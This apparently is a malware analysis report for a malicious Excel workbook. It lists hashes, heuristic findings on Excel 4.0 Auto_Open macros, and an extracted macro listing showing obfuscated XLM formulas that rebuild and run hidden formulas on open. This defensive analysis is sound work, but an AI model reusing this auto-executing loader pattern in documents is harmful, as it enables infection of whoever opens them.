Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3862fccdca2b0c19…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:41:53 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: 74ca769141920db777764c7cd505ed6e SHA-1: e8a17c295d7c9632767bb40bdad81294672547c6 SHA-256: 3862fccdca2b0c19d76343c6512f18f3398e2713cc610124aa1dd0775eb16ee5
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6559 bytes
SHA-256: 4a0fa67c08c8d406355d94a663fb84b82b3b49a95836fe2a203e183b42785ee5
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  RGpzkmPbB
' 0018     21 LABEL : Cell Value, String Constant - AaUHpS len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I162 
' 0018     26 LABEL : Cell Value, String Constant - BdEoZpLfNPq len=0 
' 0018     24 LABEL : Cell Value, String Constant - CiRiXeXUh len=0 
' 0018     27 LABEL : Cell Value, String Constant - cLElHRyttAfz len=0 
' 0018     22 LABEL : Cell Value, String Constant - eBqZydy len=0 
' 0018     27 LABEL : Cell Value, String Constant - FxbqyfhCcFcm len=0 
' 0018     27 LABEL : Cell Value, String Constant - icPNNhjpWizY len=0 
' 0018     20 LABEL : Cell Value, String Constant - jnZLq len=0 
' 0018     23 LABEL : Cell Value, String Constant - oJpfIbeJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - QMKpUI len=0 
' 0018     20 LABEL : Cell Value, String Constant - qwfQG len=0 
' 0018     20 LABEL : Cell Value, String Constant - rLNzB len=0 
' 0018     23 LABEL : Cell Value, String Constant - SXMeqwJb len=0 
' 0018     20 LABEL : Cell Value, String Constant - TyNeU len=0 
' 0018     25 LABEL : Cell Value, String Constant - uspKICgQLs len=0 
' 0018     21 LABEL : Cell Value, String Constant - vDmCNM len=0 
' 0018     21 LABEL : Cell Value, String Constant - VqVTGH len=0 
' 0018     21 LABEL : Cell Value, String Constant - xtLXUH len=0 
' 0018     27 LABEL : Cell Value, String Constant - YaEkyuCLSLFg len=0 
' 0018     23 LABEL : Cell Value, String Constant - zWSyNXni len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  RGpzkmPbB,I69,"SET.NAME("oJpfIbeJ",VALUE("0"))",""
'  RGpzkmPbB,I73,"SET.NAME("AaUHpS",oJpfIbeJ)",""
'  RGpzkmPbB,I77,"SET.NAME("QMKpUI",oJpfIbeJ)",""
'  RGpzkmPbB,I81,"SET.NAME("xtLXUH",COUNTA(icPNNhjpWizY))",""
'  RGpzkmPbB,I85,"SET.NAME("rLNzB",COUNTA(zWSyNXni))",""
'  RGpzkmPbB,I90,[],""
'  RGpzkmPbB,I94,"SET.NAME("SXMeqwJb","")",""
'  RGpzkmPbB,I98,"AaUHpS",""
'  RGpzkmPbB,I100,"SET.NAME("CiRiXeXUh",HLOOKUP("*",icPNNhjpWizY,AaUHpS,FALSE))",""
'  RGpzkmPbB,I104,"eBqZydy",""
'  RGpzkmPbB,I109,"SET.NAME("cLElHRyttAfz",oJpfIbeJ)",""
'  RGpzkmPbB,I113,[],""
'  RGpzkmPbB,I115,"cLElHRyttAfz",""
'  RGpzkmPbB,I119,"VqVTGH",""
'  RGpzkmPbB,I124,"TyNeU",""
'  RGpzkmPbB,I129,"BdEoZpLfNPq",""
'  RGpzkmPbB,I132,"SET.NAME("vDmCNM",VALUE(HLOOKUP("*",zWSyNXni,BdEoZpLfNPq,FALSE)))",""
'  RGpzkmPbB,I134,"jnZLq",""
'  RGpzkmPbB,I137,"SXMeqwJb",""
'  RGpzkmPbB,I140,"QMKpUI",""
'  RGpzkmPbB,I143,NEXT(),""
'  RGpzkmPbB,I148,"FxbqyfhCcFcm",""
'  RGpzkmPbB,I151,"SET.NAME("f",INT(T(FORMULA(T(SXMeqwJb)&"",""&T(FxbqyfhCcFcm)))))",""
'  RGpzkmPbB,I154,"uspKICgQLs",""
'  RGpzkmPbB,I158,NEXT(),""
'  RGpzkmPbB,I160,RETURN(),""
'  RGpzkmPbB,I183,"SET.NAME("qwfQG",I69)",""
'  RGpzkmPbB,I186,"icPNNhjpWizY",""
'  RGpzkmPbB,I188,"SET.NAME("zWSyNXni",R50C13)",""
'  RGpzkmPbB,I192,"SET.NAME("uspKICgQLs",201)",""
'  RGpzkmPbB,I197,"SET.NAME("YaEkyuCLSLFg",9)",""
'  RGpzkmPbB,I200,qwfQG(),""
'  RGpzkmPbB,I201,HALT(),""

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